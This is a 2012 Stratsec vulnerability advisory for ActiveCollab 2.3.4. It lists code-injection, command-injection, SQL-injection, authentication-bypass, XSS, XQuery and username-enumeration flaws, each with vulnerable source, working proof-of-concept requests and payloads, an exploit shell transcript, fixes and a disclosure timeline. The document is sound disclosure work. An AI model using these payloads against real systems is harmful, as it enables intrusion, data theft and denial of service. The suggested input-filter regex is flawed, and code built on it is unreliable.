May 24, 2012
- Affected Vendor: ActiveCollab
- Affected Software: ActiveCollab
- Affected Version: 2.3.4
- Issue Type: Multiple Remote Vulnerabilities
- Release Date: 24 May 2012
- Discovered By: Stratsec Research
- Issue Status: Patch available
Summary
Stratsec security researchers Andrew Horton, Steven Seeley and Pedram Hayati have identified a number of high risk security vulnerabilities including remote code execution, remote command execution, SQL injection, authentication bypass, XQuery injection, username enumeration and cross-site scripting (reflective and persistent) in ActiveCollab 2.3.4 and its modules. The latest fully patched version of the application was used at the time of discovery.
Remote Code Execution and Remote Command Execution
Remote code execution and remote command execution vulnerabilities allow an attacker to fully compromise the underlying application and potentially the underlying OS.
SQL Injection
SQL injection allows for an attacker to manipulate the backend database and steal sensitive information from the database. An SQL injection attack often leads to the complete compromise of the underlying OS.
Authentication Bypass
Authentication bypass often allows an attacker to perform trusted actions within the application without supplying valid credentials. This may lead to unauthorised manipulation of the application and its data.
Cross-Site Scripting
Cross-site scripting vulnerabilities in an application potentially allow an attacker to execute malicious script on other users’ systems and hence compromise their sessions, authentication credentials, or even conduct other malicious activity.
XQuery Injection
XQuery (XPath) is a language for addressing parts of XML document. Similar to SQL, XQuery is used to query XML documents. The input data to XQuery must be sanitised in order to avoid malformed queries and possibly access to the entire XML document.
Username enumeration
Username enumeration allows for an external attacker to enumerate valid usernames for the application. This type of vulnerability is generally within login functionality.
Description
Remote Code Execution
The ActiveCollab application is modular by design and a series of modules come pre-packaged with the ActiveCollab application itself. A remote code execution vulnerability was discovered in ‘chat’ module.
The vulnerable code path is triggered when the event handler is called. The event handler calls a function called ‘listen()’ in the ChatController.class.php.
1. Lines 306-313 of activecollab/application/modules/chat/controllers/ChatController.class.php within the listen function.
if(instance_of($chats_new_messages[$chat_id][0], ChatMessage)){
$new_messages = array();
foreach($chats_new_messages[$chat_id] as $message) {
$new_messages[] = $message->toArray();
}
} elseif(is_array($chats_new_messages[$chat_id][0])){
$new_messages = $chats_new_messages[$chat_id];
}
2. Lines 95-107 in ./activecollab/application/modules/chat/models/chat_messages/ChatMessage.class.php
function toArray(){
$message['id'] = $this->getId(); $message['posted_by_user_id'] = $this->getPostedById();
$message['posted_by_user_name'] = $this->getPostedByUser()->getName();
$message['posted_to_user_id'] = $this->getPostedToId();
if($message['posted_to_user_id'])
$message['posted_to_user_name'] = $this->getPostedToUser()->getName();
else
$message['posted_to_user_name'] = 'all';
$message['chat_id'] = $this->getChatId();
$message['message_text'] = $this->getMessage();
$message['posted_on'] = $this->getPostedOn()->toMYSQL();
return $message;
}
3. Lines 126 -128 in ./activecollab/application/modules/chat/models/chat_messages/BaseChatMessage.class.php
function getMessage() {
return html_to_text_a($this->getFieldValue('message_text'));
}
4. Lines 8-23 ./activecollab/application/modules/chat/functions/html_to_text.php:
function html_to_text_a($html) {
$search = array( ...'/<h[123][^>]*>(.*?)<\/h[123]>/ie' ...);
$replace = array('', ' ', ' ', '', '', "strtoupper(\"\n\n\\1\n\n\")" ...);
$text = trim(stripslashes($html));
$text = preg_replace($search, $replace, $html);
$text = strip_tags($text,'<a>');
$text = preg_replace("/\n\s+\n/", "\n\n", $text);
$text = preg_replace("/[\n]{3,}/", "\n\n", $text);
$text = ereg_replace("[[:alpha:]]+://[^<>[:space:]]+[[:alnum:]/]","<a href=\\\0\ target=\"_blank\">\\0</a>", $text);
return trim($text);
} // html_to_text
The preg_replace() call uses the $search array to match specific HTML tags and attempts to evaluate the expression after the replacement using the /e modifier.
The problem arises due to the $replace array as the replacement value is parsed into a string with double quotes.
PHP allows the evaluation of a string in double quotes using complex curly syntax and can allow an attacker to insert malicious code.
This vulnerability was discovered in other locations within the code; however those code paths were not identified during analysis.
Impact
The vulnerability allows for a low privileged, authenticated attacker to directly inject and execute trivial malicious PHP code that could allow the attacker to compromise the complete application and possibly the underlying operating system.
A commercial grade proof of concept (PoC) exploit was developed for the vulnerability.
pentesters@stratsec:~/stratsec/ac$ ./active-collab-0day.php -t 172.16.193.137 -d /test/ac/ -p 127.0.0.1:8080
---------------------------------------------------------
Active Collab 'chat module' remote code injection exploit
by stratsec security researchers – info@stratsec.net
---------------------------------------------------------
(+) Setting the proxy to 127.0.0.1:8080
(+) Logging into the application..
(+) Logged into the application!
(+) Grabbing ac_ActiveCollab_sid_eaM4h3LTIZ session
(+) Injecting php into the application..
(+) Injection was successful!
ac-shell# id uid=33(www-data) gid=33(www-data) groups=33(www-data)
ac-shell# uname –a Linux steve-web-server 2.6.35-32-generic #67-Ubuntu SMP Mon Mar 5 19:35:26 UTC 2012 i686 GNU/Linux
ac-shell# q
An attacker could easily hijack an authenticated account by using a number of other vulnerabilities or obtain an account through weak credentials or trust.
Solution
Using preg_replace_callback() to execute PHP using the replaced string value can mitigate this problem entirely.
More information can be obtained by referencing the online PHP manual: http://php.net/manual/en/function.preg-replace-callback.php
Remote Command Execution
A remote command execution exists in the ‘source’ module when validating the SVN path. An authenticated attacker can control the path value in a GET request to execute arbitrary commands.
The vulnerable code path is as follows:
1. Line 72 of ./activecollab/application/modules/source/SourceModule.class.php:
$router->map('admin_source_test_svn', '/admin/tools/source/test-svn', array('controller'=>'source_admin', 'action'=>'test_svn'));
2. Lines 83-93 of activecollab/application/modules/source/controllers/SourceAdminController.class.php:
function test_svn() {
$path = array_var($_GET, 'svn_path', null);
$error_output = boolval(array_var($_GET, 'error_output', null));
$check_executable = RepositoryEngine::executableExists($path, $error_output);
echo $check_executable === true ? 'true' : $check_executable; die();
} // function test_svn
3. Lines 700-722 of activecollab/application/modules/source/engines/subversion.class.php:
function executableExists($path = null, $error_output = null) {
$svn_path = '';
if (!$path) {
if (isset($this) && instance_of($this, 'RepositoryEngine')) {
$svn_path = $this->executable_path;
} else {
$svn_path = ConfigOptions::getValue('source_svn_path');
} // if
} else {
$svn_path = $path;
} // if
$output_string = $error_output ? " 2>&1" : "";
$svn_path = with_slash($svn_path);
exec(escapeshellcmd($svn_path . 'svn '.$this->config_dir.' --version --quiet').
$output_string, $output);
$output = first($output);
if ((boolean) version_compare($output, '1.0.0', '>')) {
return true;
} else {
return $output;
} // if
} // function executableExists
The problem is that escapeshellcmd() escapes only specific characters for redirection of a command. However, in this case, the command itself is controlled and therefore use of this function provides little protection against arbitrary command execution.
A PoC is provided:
http://<target>/<path>/public/index.php?path_info=admin/tools/source/test-svn&svn_path=/bin/sh+-c+'uname+-a'+&error_output=1
Impact
The vulnerability allows for a high privileged, authenticated attacker to directly execute commands that could allow the attacker to compromise the complete application and possibly the underlying operating system.
Furthermore, this vulnerability can be combined with the ability to upload files with arbitrary content to trigger trivial remote code execution.
Solution
The issue can be fixed removing the ability for a user to specify the SVN executable path but rather to write PHP to dynamically locate it on the system.
SQL Injection
The ActiveCollab application suffers from a number of SQL injection vulnerabilities in both the core application and the ‘chat’ module. SQL Injection allows an attacker to access and potentially modify the backend database. During analysis, it was discovered that user sessions are stored in the backend database and can allow an attacker to replay those sessions after exploiting the SQL Injection.
The first SQL Injection can be triggered when adding a milestone or ticket and falls into an INSERT statement.
The vulnerable code is snipped from the function ‘save’ is as follows:
Lines 2808 - 2826 of activecollab/application/modules/system/models/project_objects/ProjectObject.class.php
$object_id = $this->getId();
if(is_array($this->new_assignees)) {
list($assignees, $owner_id) = $this->new_assignees;
if(is_foreachable($assignees)) {
$user_ids = array();
$to_insert = array();
foreach($assignees as $user_id) {
if(in_array($user_id, $user_ids)) {
continue;
} // if
$is_owner = $user_id == $owner_id ? 1 : 0;
$to_insert[] = "($user_id, $object_id, $is_owner)";
$user_ids[] = $user_id;
} // foreach
// Insert assignments
$insert = db_execute('INSERT INTO ' . TABLE_PREFIX . 'assignments VALUES ' . implode(', ', $to_insert));
Type: Blind, time based
Authentication: Required (low privilege)
Parameters: milestone[assignees][0][], ticket[assignees][0][]
Method: POST
Full PoC requests:
Adding a milestone:
POST /webapps/ac/public/index.php?path_info=projects/1/milestones/add HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
Cookie: ac_ActiveCollab_sid_eaM4h3LTIZ=<insert session here>
milestone[name]=wcf&milestone[start_on]=2012/05/08&milestone[due_on]=2012/05/28&milestone[body]=<p>dcwdfc</p>&milestone[assignees][1]=22&milestone[assignees][0][]=28,+(case+when+substr((select+version()),1,1)='5'+then+benchmark(5000000,md5(1))+else+0+end),+0)--+&milestone[priority]=0'&milestone[tags]=&submitted=submitted
Logging a ticket:
POST /webapps/ac/public/index.php?path_info=projects/1/tickets/add HTTP/1.1
Host: <target>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAfUp3YKEGyA85DDx
Cookie: ac_ActiveCollab_sid_eaM4h3LTIZ=<insert session here>
------WebKitFormBoundaryAfUp3YKEGyA85DDx
Content-Disposition: form-data; name="ticket[name]"
sql+injection
------WebKitFormBoundaryAfUp3YKEGyA85DDx
Content-Disposition: form-data; name="ticket[assignees][0][]"
1, (case when substr((select version()),1,1)='5' then benchmark(5000000,md5(1)) else 0 end), 0)--
------WebKitFormBoundaryAfUp3YKEGyA85DDx
Content-Disposition: form-data; name="submitted"
submitted
------WebKitFormBoundaryAfUp3YKEGyA85DDx--
The PoC requests will delay a response from the server if the current database is at least MySQL version 5.
The second SQL Injection can be triggered when utilising the ‘chat’ module, specifically when viewing the chat history by date.
The vulnerable code is triggered when viewing saved chats:
Lines 147-150 of activecollab/application/modules/chat/models/chats/Chat.class.php
function getHistoryMessages($dateStart = null, $dateEnd = null, $keywords = null, $options = array()) {
$messages = ChatMessages::findHistoryChatMessages($this->getId(), $dateStart, $dateEnd, $keywords, $options);
return $messages;
} // getMessages
Lines 61-83 of activecollab/application/modules/chat/models/chat_messages/ChatMessages.class.php
function findHistoryChatMessages($chat_id, $dateStart = null, $dateEnd = null, $keywords = null, $options = array()) {
$chat_messages = TABLE_PREFIX . 'chat_messages';
$addSQL = '';
if ('' != $dateStart) {
$addSQL = " AND posted_on >= '{$dateStart}'";
}
if ('' != $dateEnd) {
$addSQL .= " AND posted_on <= '{$dateEnd}'";
}
if ('' != $keywords) {
$addSQL .= " AND message_text LIKE '%{$keywords}%'";
}
$limit = isset($options['limit']) ? ' LIMIT ' . $options['limit'] : '';
$addSQL .= isset($options['chatHistoryUser']) && '' != $options['chatHistoryUser']
//? " AND posted_by_user_id = " . $options['chatHistoryUser'] . " OR posted_to_user_id = " . $options['chatHistoryUser']
? " AND posted_by_user_id
IN({$options['chatHistoryUser']},{$options['user_id']}) AND posted_to_user_id
IN({$options['chatHistoryUser']},{$options['user_id']})"
: '';
return ChatMessages::findBySql("SELECT * FROM $chat_messages WHERE chat_id = {$chat_id}{$addSQL} AND (posted_to_user_id=0 OR posted_to_user_id={$options[user_id]} OR posted_by_user_id={$options[user_id]}) ORDER BY posted_on ASC{$limit}");
} // findAll
Page: /public/index.php
Type: Non blind
Authentication: Required (low privilege)
Parameters: chatHistoryStart, chatHistoryEnd, chatHistoryKeywords, chatHistoryUser
Method: POST
Data:chatHistoryStart=2012/05/08'+union+select+1,22,2,3,version(),5--+&chatHistoryEnd=2012/05/15&chatHistoryKeywords=s&chatHistoryUser=23
Trigger: Upon request
Note: You must select a valid userid for exploitation.
Full PoC request:
POST /webapps/ac/public/index.php?path_info=/chat/history_show/1 HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: ac_ActiveCollab_sid_eaM4h3LTIZ=<insert session here>
chatHistoryStart=2012/05/08'+union+select+1,22,2,3,version(),5--+&chatHistoryEnd=2012/05/15&chatHistoryKeywords=s&chatHistoryUser=23
Impact
SQL Injection is one of the most prevalent vulnerabilities in web applications. The complete compromise of the database and possibly the underlying operating system can be achieved from the identified SQL injection vulnerabilities
Solution
Ensure all SQL queries are parameterised. The following example code highlights how the developer can use prepared statements in PHP/MySQL development environments:
$preparedStatement = $db->prepare('SELECT * FROM employees WHERE name = :name'); $preparedStatement->execute(array(':name' => $name));
$rows = $preparedStatement->fetchAll();
Authentication Bypass
An authentication bypass vulnerability exists in the /public/upgrade/execute.php script that allows a remote, unauthenticated attacker to execute arbitrary functions from an upgrade.
The vulnerable code is triggered accessing the /public/upgrade/execute.php script:
Lines 52-74 of public/upgrade/execute.php
switch(array_var($_POST, 'what')) {
// Authenticate user and prepare upgrade steps case 'authenticate':
----
// Execute single upgrade step
case 'execute_step':
$group = array_var($_POST, 'group');
$step = array_var($_POST, 'step');
if(empty($group) || empty($step)) {
die('Group and step are required');
} // if
$util = new UpgradeUtility();
$script = $util->getScriptByGroup($group);
if(instance_of($script, 'UpgradeScript')) {
$execute = $script->$step();
if($execute === true) {
die('all_ok');
} else {
die('Error: ' . $execute);
}
} else {
die("Failed to load gorup '$group'");
} // if
Some of the functionaility allows an attacker to:
Backup the database into the /work directory and possibly access it if the web server is misconfigured
Reset and lock out every account by forcing a rehash on all passwords
Overwrite production data in the database with default data
Full PoC requests:
POST /public/upgrade/execute.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
what=execute_step&group=2.1-2.1.1&step=startUpgrade
After executing the above PoC, a copy of the entire database may potenially be accessible in the /work directory (depending on permissions):
http://<target>/<path>/work/database-backup-YYYY-MM-DD-HH-MM-SS.sql
POST /public/upgrade/execute.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
what=execute_step&group=1.0-1.1&step=digestUserPasswords
After executing the above PoC, all user and admin password hashes will be reset and rehashed resulting in complete DoS to the application and platform.
Impact
The ability to bypass the authentication and trigger database management functionality will allow an attacker to possibly compromise the entire application and/or cause significant damage to the backend database.
Solution
Rewrite the /upgrade/execute.php script so that the code checks if the user is authenticated for every action.
Cross-Site Scripting
The ActiveCollab application suffers systemically from both reflective and persistent cross-site scripting.
- Page: /public/index.php
Type: Reflective
Authentication: Not required
Parameter: login[email]
Method: POST
Data: Login[email]=user<script>alert(document.cookie)</script>&login[password]=test&submitted=submitted
Trigger: Upon request
- Page: /public/index.php?path_info=projects/add
Type: Reflective
Authentication: Required
Parameter: project[name]
Method: POST
Data: project[name]=<img+src=a+onerror=alert(document.cookie)+/>&project[overview]=<p>test</p>&project[default_visibility]=0&cust[project][top_task]=&cust[project][task_name]=project_delivery&cust[project][expenditure_type]=8458&cust[project][task_id]=&cust[project][proposed_effort]=&cust[project][currency]=AUD&project[leader_id]=115&project[company_id]=&project[group_id]=&project[starts_on]=&cust[project][budget]=&project[project_template_id]=&submitted=submitted
Trigger: When viewing user profiles that are assigned to the malicious project. https://[target]/public/index.php?path_info=people/5/users/[userid]
- Page: /public/index.php
Type: Reflective
Authentication: Required
Parameter: widget_id
Method: GET
Data: path_info=select-projects&widget_id="><script>alert(document.cookie)</script>
Trigger: Upon request
- Page: /public/index.php
Type: Reflective
Authentication: Required
Parameter: what
Method: GET/POST
Data: path_info=planning/api/30&what=getLabelsAndSettings]]></action><a+xmlns:a='http://www.w3.org/1999/xhtml'><a:body+onload='alert(document.cookie)'/><![CDATA[<action>
Trigger: Upon request
- Page: /public/index.php
Type: Persistent
Authentication: Required (low privileged)
Parameter: message[message_text]
Method: POST
Data: submitted=submitted&message[message_text]=test&message[chat_id]=1&message[posted_to_user_id]=all
Note: A second stored Cross Site Scripting vulnerability can be triggered by inserting JavaScript into the first name and surname fields of a user accounts profile.
- Page: /public/upgrade/include/upgrade_steps.php
Type: Reflective
Authentication: None
Parameters: current_version, final_version Method: GET
Data: current_version=<script>alert(document.cookie)</script>&final_version=<script>alert(document.cookie)</script>
- Page: /public/upgrade/execute.php
Type: Reflective
Authentication: None
Parameters: group, step Method: POST
Data: what=execute_step&group=test"><img+src=a+onerror=alert(document.cookie)+/>&step=test"><img+src=a+onerror=alert(document.cookie)+/>
Impact
Cross-site scripting (reflective): An attacker could exploit this issue by sending a legitimate user a maliciously crafted link. When clicked, this link would cause the victim’s browser to execute arbitrary JavaScript of the attacker’s choosing. This could be abused to obtain users cookie values, redirect the victim to a malicious website or deface the website to assist in phishing schemes. The use of links to the application could lend credibility to phishing or other social engineering attacks.
Cross-site scripting (persistent): An attacker could abuse the persistent cross-site scripting vulnerability to install a malicious script in the new “Assignment” filter. The malicious script would be executed when the “Assignment” page is displayed to the other users.
Solution
The issue can be fixed by applying both input and output sanitisation to all untrusted data (preferably all data values) before using in the application. Specifically, encode HTML and JavaScript meta-characters including the following:
- & : Ampersand
- < : Left Angle Bracket
- > : Right Angle Bracket
- / : Forward Slash
- ‘ : Single Quotation Mark
- “ : Double Quotation Mark
- \ : Backslash
- ; : Semicolon
This can be achieved by using the function htmlspecialchars() in PHP when displaying data. More information can be obtained by referencing the online php manual: http://php.net/manual/en/function.htmlspecialchars.php
Additionally, perform input sanitization on all data values using code the same or similar to below:
function filterdata($data){
return preg_replace("/^[a-zA-Z0-9]*$/","",$data);
}
filterdata($_GET[‘xml’]);
XQuery Injection
The ActiveCollab application is vulnerable to XQuery injection. The following instances of XQuery injection were identified:
Page: /public/index.php?path_info=planning/api/[project_id] Type: Reflective
Authentication: Required
Parameter: what
Method: POST
Data: what=getProjects]]>>&selectedProject=[project_id]
The above request will return the following error message.
<?xml version="1.0" encoding="UTF-8"?>
<items><action><![CDATA[getPlan]]>>]]></action>
<result><![CDATA[error]]></result>
<message><![CDATA[getPlan]]>> - Invalid action.]]></message>
</items>
Impact
An attacker may be able to access to entire XML document that normally has not access to. In the scenarios where XML data is used for authentication attacker may be able to elevate his/her leverage
Solution
The issue can be fixed by applying input sanitisation to all untrusted data (preferably all data values) before being used. The sample function will prevent malicious input and allow only lower, upper and numeric characters to be returned using the variable ‘xml’.
function filterdata($data){
return preg_replace("/^[a-zA-Z0-9]*$/","",$data);
}
filterdata($_GET[‘xml’]);
Username Enumeration
Username enumeration vulnerabilities arise when the LDAP module is installed and allows for a remote attacker to determine a valid username. Aditionally, username enumeration vulnerabilities also exists in the /public/upgrade/execute.php script that not only allows an attacker to determine usernames, but also to determine if a user account has administrative privlidges.
The following PoC shows a valid user being detected against the LDAP module
POST /public/index.php?path_info=login HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
Login[email]=johnedwards&login[password]=test&submitted=submitted
Response:
Invalid username or password. Please try again. dn:CN=John Edwards,OU=Melbourne,OU=Stratsec Users,DC=stratsecdc,DC=local
The following PoC shows an invalid user being detected against the LDAP module:
POST /public/index.php?path_info=login HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
Login[email]=invalid&login[password]=test&submitted=submitted
Response:
Admin username and password seems valid. However the following search failed: (&(samaccountname=invalid)(objectClass=*))
The following PoC shows a user being detected against the /public/upgrade/execute.php script:
POST /webapps/ac/public/upgrade/execute.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
what=authenticate&email=test@test.com&password=test
Response:
Invalid password
The following PoC shows an invalid user being detected against the /public/upgrade/execute.php script:
POST /webapps/ac/public/upgrade/execute.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
what=authenticate&email=idontexist@test.com&password=test
Response:
Invalid email address. User does not exist
The following PoC shows an invalid administrator being detected against the /public/upgrade/execute.php script:
POST /webapps/ac/public/upgrade/execute.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
what=authenticate&email=imnotadmin@test.com&password=test
Response:
Authenticated user is not administrator
Impact
An attacker may be able to leverage this vulnerability to detect valid usernames. This indirectly can lead to an account being compromised and can be combined with other vulnerabilities for maximum impact.
Solution
Do not display the LDAP message from the server and ensure no changes to the response are given based on a valid/invalid usernames.
Overall Impact
Overall impact of these vulnerabilities is complete application compromise from an unauthenticated attacker. Multiple situations and attack avenues allow for an attacker to compromise the application
Affected products
- ActiveCollab 2.3.4 and associated modules (chat and source)
Response timeline
- 07/05/2012 - Vendor notified
- 08/05/2012 - Initial contact to ActiveCollab and USWebStyle regarding the security vulnerabilities
- 08/05/2012 - ActiveCollab acknowledges the advisory and notifies stratsec of the fix date
- 10/05/2012 - ActiveCollob tests and confirms the security vulnerabilities
- 11/05/2012 - ActiveCollab confirms security fixes for the 2.3.10 release and advise that this version is avaliable for customers
- 16/05/2012 - USWebStyle notifies stratsec of a fix in the upcoming release
- 17/05/2012 - USWebStyle confirms the fix is released in version 1.5.2 Stable and customers have been notified
- 24/05/2012 - This advisory published
References
- http://www.activecollab.com/downloads/category/4/package/62/releases
- http://www.activecollab.com/docs/manuals/admin/release-notes/activecollab-2-3-10
- http://www.securityfocus.com/bid/53624
- http://www.securelist.com/en/advisories/49246
- http://www.net-security.org/vuln.php?id=14114